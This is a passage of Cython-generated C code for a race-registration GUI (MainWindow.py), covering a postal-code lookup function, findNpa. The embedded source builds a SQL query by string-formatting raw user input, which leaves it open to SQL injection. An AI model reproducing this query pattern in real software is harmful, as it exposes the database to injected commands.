__Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.addRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_item); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_title); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":96 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c * * def findNpa(self): # <<<<<<<<<<<<<< * try: * fn = self.R_Npa.text() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_17findNpa(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_17findNpa = {"findNpa", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_17findNpa, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_17findNpa(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("findNpa (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_16findNpa(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_16findNpa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_fn = NULL; PyObject *__pyx_v_pa = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; int __pyx_t_10; int __pyx_t_11; char const *__pyx_t_12; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; __Pyx_RefNannySetupContext("findNpa", 0); /* "MainWindow.py":97 * * def findNpa(self): * try: # <<<<<<<<<<<<<< * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "MainWindow.py":98 * def findNpa(self): * try: * fn = self.R_Npa.text() # <<<<<<<<<<<<<< * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 98, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 98, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_fn = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":99 * try: * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) # <<<<<<<<<<<<<< * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_itemData); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_currentIndex); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_pa = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":100 * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_City.setText( c['nom'] ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_getRecord); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_fn); __Pyx_GIVEREF(__pyx_v_fn); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_fn); __Pyx_INCREF(__pyx_v_pa); __Pyx_GIVEREF(__pyx_v_pa); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_pa); __pyx_t_6 = PyUnicode_Format(__pyx_kp_u_npa_LIKE_s_AND_pays_LIKE_s, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 100, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_9) { /* "MainWindow.py":101 * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) # <<<<<<<<<<<<<< * self.R_City.setText( c['nom'] ) * self.R_Npa.setText( c['npa'] ) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_t_ville); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_c = ((PyObject*)__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":102 * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): * c = dict( self.t_ville._data ) * self.R_City.setText( c['nom'] ) # <<<<<<<<<<<<<< * self.R_Npa.setText( c['npa'] ) * except Exception as e: */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_5, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":103 * c = dict( self.t_ville._data ) * self.R_City.setText( c['nom'] ) * self.R_Npa.setText( c['npa'] ) # <<<<<<<<<<<<<< * except Exception as e: * print(e) */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_npa); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_8}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_8}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":100 * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) * if self.t_ville.getRecord( "npa LIKE '%s' AND pays LIKE '%s'"%(fn , pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_City.setText( c['nom'] ) */ } /* "MainWindow.py":97 * * def findNpa(self): * try: # <<<<<<<<<<<<<< * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":104 * self.R_City.setText( c['nom'] ) * self.R_Npa.setText( c['npa'] ) * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("MainWindow.MainWindow.findNpa", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_7, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 104, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "MainWindow.py":105 * self.R_Npa.setText( c['npa'] ) * except Exception as e: * print(e) # <<<<<<<<<<<<<< * return * */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 105, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":106 * except Exception as e: * print(e) * return # <<<<<<<<<<<<<< * * def findVille(self): */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; goto __pyx_L16_return; } /* "MainWindow.py":104 * self.R_City.setText( c['nom'] ) * self.R_Npa.setText( c['npa'] ) * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return */ /*finally:*/ { /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L17_error:; __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15) < 0)) __Pyx_ErrFetch(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __pyx_t_10 = __pyx_lineno; __pyx_t_11 = __pyx_clineno; __pyx_t_12 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); } __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_ErrRestore(__pyx_t_13, __pyx_t_14, __pyx_t_15); __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_11; __pyx_filename = __pyx_t_12; goto __pyx_L5_except_error; } __pyx_L16_return: { __pyx_t_18 = __pyx_r; __pyx_r = 0; __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; __pyx_r = __pyx_t_18; __pyx_t_18 = 0; goto __pyx_L6_except_return; } } } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "MainWindow.py":97 * * def findNpa(self): * try: # <<<<<<<<<<<<<< * fn = self.R_Npa.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "MainWindow.py":96 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c * * def findNpa(self): # <<<<<<<<<<<<<< * try: * fn = self.R_Npa.text() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); 